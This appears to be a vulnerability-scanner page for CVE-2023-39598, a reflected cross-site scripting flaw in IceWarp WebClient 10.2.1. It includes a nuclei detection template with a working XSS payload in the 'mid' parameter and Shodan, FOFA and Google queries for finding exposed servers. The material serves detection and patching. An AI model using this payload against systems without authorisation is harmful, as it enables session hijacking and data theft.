IceWarp Email Client - Cross Site Scripting

mediumseverity

6.1CVSS score

1.5%likelihood of exploitation, next 30 days

74%of all CVEs are less likely

Readycheck to confirm it

Cross Site Scripting vulnerability in IceWarp Corporation WebClient v.10.2.1 allows a remote attacker to execute arbitrary code via a crafted payload to the mid parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest security patches and updates from the vendor to address this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/webmail/?mid={{to_lower(rand_base(4))}}"><img src=x onerror=confirm(document.domain)>
Positive when: contains "<img src=x onerror=confirm(document.domain)>" and "icewarp" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-39598 -u <target>

The full check

id: CVE-2023-39598

info:
  name: IceWarp Email Client - Cross Site Scripting
  author: Imjust0
  severity: medium
  description: |
    Cross Site Scripting vulnerability in IceWarp Corporation WebClient v.10.2.1 allows a remote attacker to execute arbitrary code via a crafted payload to the mid parameter.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  reference:
    - https://medium.com/@muthumohanprasath.r/reflected-cross-site-scripting-on-icewarp-webclient-product-cve-2023-39598-9598b92da49c
    - https://nvd.nist.gov/vuln/detail/CVE-2023-39598
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39598
    - https://medium.com/%40muthumohanprasath.r/reflected-cross-site-scripting-on-icewarp-webclient-product-cve-2023-39598-9598b92da49c
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-39598
    cwe-id: CWE-79
    epss-score: 0.01452
    epss-percentile: 0.73625
    cpe: cpe:2.3:a:icewarp:webclient:10.2.1:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: icewarp
    product: webclient
    shodan-query:
      - title:"icewarp"
      - http.title:"icewarp"
    fofa-query: title="icewarp"
    google-query: intitle:"icewarp"
  tags: cve2023,cve,xss,icewarp,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/webmail/?mid={{to_lower(rand_base(4))}}"><img src=x onerror=confirm(document.domain)>'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<img src=x onerror=confirm(document.domain)>"
          - "icewarp"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from